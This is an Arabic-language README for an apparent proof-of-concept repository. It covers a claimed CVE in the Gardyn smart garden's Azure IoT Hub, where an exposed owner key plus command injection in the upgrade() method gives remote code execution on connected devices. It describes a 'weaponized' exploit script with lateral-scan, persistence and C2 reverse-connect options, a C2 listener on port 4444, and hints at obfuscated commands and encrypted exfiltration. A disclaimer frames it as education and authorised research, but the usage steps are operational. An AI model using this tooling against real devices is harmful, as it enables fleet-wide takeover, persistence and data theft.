
Azure IoT Hub حيث يؤدي كشف مفتاح الوصول المشترك على مستوى المالك إلى تمكين تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليه (RCE) ضد أجهزة إنترنت الأشياء المتصلة. إثبات المفهوم
[!WARNING] يحتوي هذا المستودع على إثبات مفهوم كامل الوظائف لثغرة IoT عالية الخطورة.
هذا الكود مُقدم لأغراض تعليمية فقط، وللبحث الأمني المصرح به، وللاختبار الدفاعي.الاستخدام غير المصرح به غير قانوني. اختبار أو استغلال الأنظمة دون إذن كتابي صريح من المالك يخالف قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA)، وقانون المرونة السيبرانية للاتحاد الأوروبي، والقوانين الأخرى المعمول بها في منطقتك.
لا يتحمل المؤلفون أي مسؤولية عن أي سوء استخدام أو ضرر أو عواقب قانونية ناتجة عن هذا الكود.
اعمل دائمًا ضمن الحدود القانونية والأخلاقية.
يكشف CVE-2026-13768 سلسلة الاتصال على مستوى مالك IoT Hub في نظام Gardyn الذكي للحدائق، مما يسمح بالتحكم الإداري الكامل في Azure IoT Hub. يُظهر هذا الإثبات كيف يمكن للمهاجم الذي يمتلك مفتاح المالك تحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) على الأجهزة المتصلة عبر حقن الأوامر في طريقة upgrade() من السحابة إلى الجهاز، مما يمكن من اختراق الأسطول بأكمله.
تتضمن المجموعة:
هذا مشروع بحثي حي - استخدمه بمسؤولية لفهم والدفاع ضد سوء تكوين سلسلة التوريد وIoT السحابي.
upgrade() (باستغلال ثغرة حقن الأوامر CVE-2025-29631).
├── poc.py # Main weaponized exploitation script
├── validate.py # Safe, read-only validation tool
├── c2s.py # Lightweight C2 server for demos
├── TEMPLATES.md # Ready-to-Use Command Templates.
├── README.md
استنساخ المستودع:
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-13768.git
cd CVE-2026-13768
python3 -m venv venv
تفعيل البيئة الافتراضية (أو إنشاء واحدة):
source venv/bin/activate
python3 -m pip install --upgrade pip
تثبيت التبعيات.
python3 -m pip install azure-iot-hub
python validate.py --conn-str "HostName=yourhub.azure-devices.net;SharedAccessKeyName=iothubowner;SharedAccessKey=..."
رمز الخروج 0 = مفتاح مالك صالح مع أجهزة قابلة للوصول. لا يتم إجراء أي تعديلات.
python poc.py \
--mode exploit \
--conn-str "HostName=..." \
--device-id "target-device-123" \
--command "whoami" \
--lateral-scan \
--persist
| الوسيطة | الوصف | مطلوب |
|---|---|---|
--mode | validate أو exploit | لا (الافتراضي: validate) |
--conn-str | سلسلة اتصال مالك IoT Hub | نعم |
--device-id | معرف الجهاز المستهدف | نعم (وضع الاستغلال) |
--command | الأمر المراد تنفيذه عبر حقن upgrade() | لا (الافتراضي: id) |
--lateral-scan | تمكين استطلاع الشبكة المحلية من الجهاز | لا |
--persist | محاولة الثبات (مثل cron، systemd) | لا |
--c2 | الاتصال العكسي بخادم C2 | لا |
شغّل python poc.py --help للحصول على الخيارات الكاملة.
python c2s.py --port 4444
iothubownerupgrade()ملاحظة: كود الحركة الجانبية والثبات هي عناصر نائبة توضيحية. قم بتكييفها مع نظام التشغيل والقيود الخاصة بالجهاز المستهدف (مثل البيئات المحدودة بـ BusyBox).
/tmp/cve_2026_13768.log افتراضيًا. استبدله بالتسريب المشفر في المهام الفعلية.obfuscate_cmd() / deobfuscate_cmd().مرحب بالمساهمات في:
يرجى فتح المشكلات أو طلبات السحب.
مع القوة العظيمة تأتي مسؤولية عظيمة.